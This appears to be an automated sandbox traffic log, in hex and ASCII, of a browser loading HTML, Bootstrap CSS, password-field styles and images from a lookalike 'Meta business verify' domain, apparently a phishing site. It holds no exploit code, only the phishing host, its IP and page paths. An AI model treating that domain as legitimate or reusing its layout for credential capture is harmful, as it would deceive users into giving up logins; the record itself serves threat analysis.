68 65 Data Ascii: 1fce<!DOCTYPE html><html lang="us" id="html"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:image" content="https://imgur.com/w3cNjri.jpeg"> <title>We have sche
2025-03-13 09:50:27 UTC	160	IN	Data Raw: 74 6f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 2e 39 31 37 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 30 31 38 30 46 41 22 3e 3c 2f 73 74 6f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: top> <stop offset=".917" stop-color="#0180FA"></stop> </linearGradient>
2025-03-13 09:50:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-13 09:50:28 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 69 64 3d 22 3a 52 31 65 63 6b 6d 6b 6c 64 64 36 6b 6e 70 61 70 64 35 61 71 48 32 3a 22 20 78 31 3d 22 34 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 32 3d 22 2d 31 2e 36 36 36 22 20 79 31 3d 22 34 2e 39 33 36 22 20 79 32 3d 22 36 31 2e 37 30 37 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 2e 34 32 37 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 30 31 36 35 45 30 22 3e 3c 2f 73 Data Ascii: 1ff8 <linearGradient gradientUnits="userSpaceOnUse" id=":R1eckmkldd6knpapd5aqH2:" x1="42" x2="-1.666" y1="4.936" y2="61.707"> <stop offset=".427" stop-color="#0165E0"></s
2025-03-13 09:50:28 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2025-03-13 09:50:28 UTC	8184	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 63 74 69 6f 6e 2d 62 75 74 74 6f 6e 20 6d 61 69 6e 20 63 6f 6c 6c 61 70 73 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 63 74 69 6f 6e 2d 62 75 74 74 6f 6e 2d 69 6d 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 20 77 69 64 74 68 3d 22 31 65 6d 22 20 68 65 69 67 68 74 3d Data Ascii: </div> <div class="action-button main collapsed"> <div class="action-button-img"> <svg viewBox="0 0 24 24" fill="currentColor" width="1em" height=
2025-03-13 09:50:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-13 09:50:28 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 31 2e 38 39 34 2e 34 31 32 63 2e 33 33 35 2e 31 35 35 2e 36 35 33 2e 33 34 2e 39 35 32 2e 35 35 31 6c 2e 38 30 35 2e 35 37 20 33 2e 30 37 35 2d 2e 39 35 31 2e 39 30 33 20 31 2e 35 36 34 2d 32 2e 33 36 20 32 2e 31 38 36 2e 30 39 2e 39 38 61 36 2e 30 39 33 20 36 2e 30 39 33 20 30 20 30 20 31 20 30 20 31 2e 31 30 34 6c 2d 2e 30 39 2e 39 38 20 32 2e 33 36 20 32 2e 31 38 35 2d 2e 39 30 33 20 31 2e 35 36 35 2d 33 2e 30 37 35 2d 2e 39 35 31 2d 2e 38 30 35 2e 35 37 61 35 2e 39 39 33 20 35 2e 39 39 33 20 30 20 30 20 31 2d 2e 39 35 32 2e 35 35 6c 2d 2e 38 39 34 2e 34 31 33 4c 31 32 2e 39 30 34 20 32 31 68 2d 31 2e 38 30 37 6c 2d 2e 37 31 33 2d 33 2e 31 33 36 2d 2e 38 39 34 2d 2e 34 31 32 61 35 2e 39 39 33 20 35 2e 39 39 33 20 30 20 30 20 31 2d 2e Data Ascii: 1ff81.894.412c.335.155.653.34.952.551l.805.57 3.075-.951.903 1.564-2.36 2.186.09.98a6.093 6.093 0 0 1 0 1.104l-.09.98 2.36 2.185-.903 1.565-3.075-.951-.805.57a5.993 5.993 0 0 1-.952.55l-.894.413L12.904 21h-1.807l-.713-3.136-.894-.412a5.993 5.993 0 0 1-.
2025-03-13 09:50:28 UTC	5	IN	Data Raw: 62 65 35 0d 0a Data Ascii: be5
2025-03-13 09:50:28 UTC	3045	IN	Data Raw: 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 20 77 69 64 74 68 3d 22 31 65 6d 22 20 68 65 69 67 68 74 3d 22 31 65 6d 22 20 63 6c 61 73 73 3d 22 78 31 6c 6c 69 69 68 71 20 78 31 6b 39 30 6d 73 75 20 78 32 68 37 72 6d 6a 20 78 31 71 66 75 7a 74 71 20 78 63 7a 61 38 76 36 20 78 6c 75 70 39 6d 6d 20 78 31 6b 6b 79 32 6f 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 37 2e 32 34 37 20 34 2e 33 34 31 61 31 20 31 20 30 20 30 20 31 20 31 2e 34 31 32 2d 2e 30 39 34 6c 38 20 37 61 31 20 Data Ascii: "0 0 24 24" fill="currentColor" width="1em" height="1em" class="x1lliihq x1k90msu x2h7rmj x1qfuztq xcza8v6 xlup9mm x1kky2od"> <path fill-rule="evenodd" clip-rule="evenodd" d="M7.247 4.341a1 1 0 0 1 1.412-.094l8 7a1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:27 UTC	655	OUT	GET /styles/bootstrap.min.css HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:28 UTC	281	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:23 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 14:08:28 GMT ETag: "32331-6191f95ca2f00" Accept-Ranges: bytes Content-Length: 205617 Vary: Accept-Encoding Content-Type: text/css
2025-03-13 09:50:28 UTC	7911	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 0a 3a 72 6f 6f 74 20 7b 0a 20 20 20 20 2d 2d 62 73 2d 62 6c 75 65 3a 20 23 Data Ascii: @charset "UTF-8";/! Bootstrap v5.0.2 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root { --bs-blue: #
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 28 3a 6c 61 73 74 2d 63 68 69 6c 64 29 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2e 35 72 65 6d 0a 7d 0a 0a 2e 69 6e 69 74 69 61 6c 69 73 6d 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 38 37 35 65 6d 3b 0a 20 20 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 0a 7d 0a 0a 2e 62 6c 6f 63 6b 71 75 6f 74 65 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 32 35 72 65 6d 0a 7d 0a 0a 2e 62 6c 6f 63 6b 71 75 6f 74 65 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 0a 7d 0a 0a 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 6d 61 Data Ascii: (:last-child) { margin-right: .5rem}.initialism { font-size: .875em; text-transform: uppercase}.blockquote { margin-bottom: 1rem; font-size: 1.25rem}.blockquote>:last-child { margin-bottom: 0}.blockquote-footer { ma
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 38 33 2e 33 33 33 33 33 33 33 33 25 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6c 2d 73 6d 2d 31 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6c 65 78 3a 20 30 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 31 2e 36 36 36 36 36 36 36 37 25 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6c 2d 73 6d 2d 31 32 20 7b 0a 20 20 20 20 20 20 20 20 66 6c 65 78 3a 20 30 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 6f 66 66 73 65 74 2d 73 6d 2d 30 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 6f 66 66 73 65 74 2d 73 6d 2d 31 20 7b 0a Data Ascii: 0 auto; width: 83.33333333% } .col-sm-11 { flex: 0 0 auto; width: 91.66666667% } .col-sm-12 { flex: 0 0 auto; width: 100% } .offset-sm-0 { margin-left: 0 } .offset-sm-1 {
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 2d 78 6c 2d 30 20 7b 0a 20 20 20 20 20 20 20 20 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 20 30 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 67 2d 78 6c 2d 31 2c 2e 67 78 2d 78 6c 2d 31 20 7b 0a 20 20 20 20 20 20 20 20 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 20 30 2e 32 35 72 65 6d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 67 2d 78 6c 2d 31 2c 2e 67 79 2d 78 6c 2d 31 20 7b 0a 20 20 20 20 20 20 20 20 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 20 30 2e 32 35 72 65 6d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 67 2d 78 6c 2d 32 2c 2e 67 78 2d 78 6c 2d 32 20 7b 0a 20 20 20 20 20 20 20 20 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 20 30 2e 35 72 65 6d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 67 2d 78 6c 2d 32 2c 2e 67 79 2d 78 6c 2d 32 20 7b 0a 20 20 20 20 20 20 20 20 2d 2d Data Ascii: -xl-0 { --bs-gutter-y: 0 } .g-xl-1,.gx-xl-1 { --bs-gutter-x: 0.25rem } .g-xl-1,.gy-xl-1 { --bs-gutter-y: 0.25rem } .g-xl-2,.gx-xl-2 { --bs-gutter-x: 0.5rem } .g-xl-2,.gy-xl-2 { --
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 32 35 72 65 6d 0a 7d 0a 0a 2e 63 6f 6c 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 73 6d 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 63 61 6c 63 28 2e 32 35 72 65 6d 20 2b 20 31 70 78 29 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 2e 32 35 72 65 6d 20 2b 20 31 70 78 29 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 38 37 35 72 65 6d 0a 7d 0a 0a 2e 66 6f 72 6d 2d 74 65 78 74 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2e 32 35 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 38 37 35 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 63 37 35 37 64 0a 7d 0a 0a 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 Data Ascii: 25rem}.col-form-label-sm { padding-top: calc(.25rem + 1px); padding-bottom: calc(.25rem + 1px); font-size: .875rem}.form-text { margin-top: .25rem; font-size: .875em; color: #6c757d}.form-control { display: block;
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 32 30 20 32 30 27 25 33 65 25 33 63 70 61 74 68 20 66 69 6c 6c 3d 27 6e 6f 6e 65 27 20 73 74 72 6f 6b 65 3d 27 25 32 33 66 66 66 27 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 27 72 6f 75 6e 64 27 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 27 72 6f 75 6e 64 27 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 27 33 27 20 64 3d 27 4d 36 20 31 30 68 38 27 2f 25 33 65 25 33 63 2f 73 76 67 25 33 65 22 29 0a 7d 0a 0a 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 69 6e 70 75 74 3a 64 69 73 61 62 6c 65 64 20 7b 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 66 69 6c 74 65 72 3a 20 6e 6f 6e 65 3b 0a 20 Data Ascii: http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled { pointer-events: none; filter: none;
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 35 2c 31 33 35 2c 38 34 2c 2e 39 29 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 32 35 72 65 6d 0a 7d 0a 0a 2e 69 73 2d 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 66 65 65 64 62 61 63 6b 2c 2e 69 73 2d 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 74 6f 6f 6c 74 69 70 2c 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 3a 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 66 65 65 64 62 61 63 6b 2c 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 3a 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 74 6f 6f 6c 74 69 70 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0a 7d 0a 0a 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2e 69 73 2d 76 61 6c 69 64 2c 2e 77 61 73 2d 76 61 6c 69 64 61 Data Ascii: background-color: rgba(25,135,84,.9); border-radius: .25rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip { display: block}.form-control.is-valid,.was-valida
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 2d 63 6f 6c 6f 72 3a 20 23 30 61 35 38 63 61 0a 7d 0a 0a 2e 62 74 6e 2d 63 68 65 63 6b 3a 66 6f 63 75 73 2b 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 62 35 65 64 37 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 30 61 35 38 63 61 3b 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 2e 32 35 72 65 6d 20 72 67 62 61 28 34 39 2c 31 33 32 2c 32 35 33 2c 2e 35 29 0a 7d 0a 0a 2e 62 74 6e 2d 63 68 65 63 6b 3a 61 63 74 69 76 65 2b 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2c 2e 62 74 6e 2d 63 68 65 63 6b 3a 63 68 65 63 6b 65 64 2b 2e 62 74 6e 2d 70 72 69 Data Ascii: -color: #0a58ca}.btn-check:focus+.btn-primary,.btn-primary:focus { color: #fff; background-color: #0b5ed7; border-color: #0a58ca; box-shadow: 0 0 0 .25rem rgba(49,132,253,.5)}.btn-check:active+.btn-primary,.btn-check:checked+.btn-pri
2025-03-13 09:50:28 UTC	8000	IN	Data Raw: 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 3a 64 69 73 61 62 6c 65 64 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 64 36 65 66 64 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 0a 7d 0a 0a 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 63 37 35 37 64 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 63 37 35 37 64 0a 7d 0a 0a 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 36 63 37 35 37 64 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 Data Ascii: n-outline-primary:disabled { color: #0d6efd; background-color: transparent}.btn-outline-secondary { color: #6c757d; border-color: #6c757d}.btn-outline-secondary:hover { color: #fff; background-color: #6c757d; border-color
2025-03-13 09:50:29 UTC	8000	IN	Data Raw: 67 2d 62 6f 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 32 35 72 65 6d 0a 7d 0a 0a 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 5b 64 61 74 61 2d 62 73 2d 70 6f 70 70 65 72 5d 20 7b 0a 20 20 20 20 74 6f 70 3a 20 31 30 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2e 31 32 35 72 65 6d 0a 7d 0a 0a 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2d 73 74 61 72 74 20 7b 0a 20 20 20 20 2d 2d 62 73 2d 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 72 74 0a 7d 0a 0a 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2d 73 74 61 72 74 5b 64 61 74 61 2d 62 73 2d 70 6f 70 70 65 72 5d 20 7b 0a 20 20 Data Ascii: g-box; border: 1px solid rgba(0,0,0,.15); border-radius: .25rem}.dropdown-menu[data-bs-popper] { top: 100%; left: 0; margin-top: .125rem}.dropdown-menu-start { --bs-position: start}.dropdown-menu-start[data-bs-popper] {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:30 UTC	647	OUT	GET /styles/style.css HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:31 UTC	279	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:25 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 14:08:42 GMT ETag: "2d66-6191f969fce80" Accept-Ranges: bytes Content-Length: 11622 Vary: Accept-Encoding Content-Type: text/css
2025-03-13 09:50:31 UTC	7913	IN	Data Raw: 23 68 74 6d 6c 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 28 32 34 39 2c 20 32 34 31 2c 20 32 34 39 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 30 64 65 67 2c 20 72 67 62 61 28 32 34 39 2c 20 32 34 31 2c 20 32 34 39 2c 20 31 29 20 30 25 2c 20 72 67 62 61 28 32 33 34 2c 20 32 34 33 2c 20 32 35 33 2c 20 31 29 20 33 35 25 2c 20 72 67 62 61 28 32 33 37 2c 20 32 35 31 2c 20 32 34 32 2c 20 31 29 20 31 30 30 25 29 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 69 6e 68 65 72 69 74 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f Data Ascii: #html { background: rgb(249, 241, 249); background: linear-gradient(90deg, rgba(249, 241, 249, 1) 0%, rgba(234, 243, 253, 1) 35%, rgba(237, 251, 242, 1) 100%);}body { background: inherit; height: 100vh; overflow: hidden; overflo
2025-03-13 09:50:31 UTC	3709	IN	Data Raw: 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 73 74 61 72 74 3b 0a 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 70 61 73 73 77 6f 72 64 2d 69 6e 70 75 74 2e 64 69 73 61 62 6c 65 64 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 33 45 33 45 33 3b 0a 7d 0a 2e 70 61 73 73 77 6f 72 64 2d 69 6e 70 75 74 20 2e 66 6f 72 6d 2d 6c 61 62 65 6c 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 2e 37 35 72 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 70 61 73 73 77 6f Data Ascii: align-items: start; flex-direction: column; justify-content: center;}.password-input.disabled{ background-color: #E3E3E3;}.password-input .form-label{ color:#5e5e5e; padding: 0 .75rem; margin-bottom: 0; width: 100%;}.passwo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:31 UTC	696	OUT	GET /img/loadingLogo.gif HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:32 UTC	261	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:27 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Tue, 17 Dec 2024 14:39:57 GMT ETag: "133319-6297845600940" Accept-Ranges: bytes Content-Length: 1258265 Content-Type: image/gif
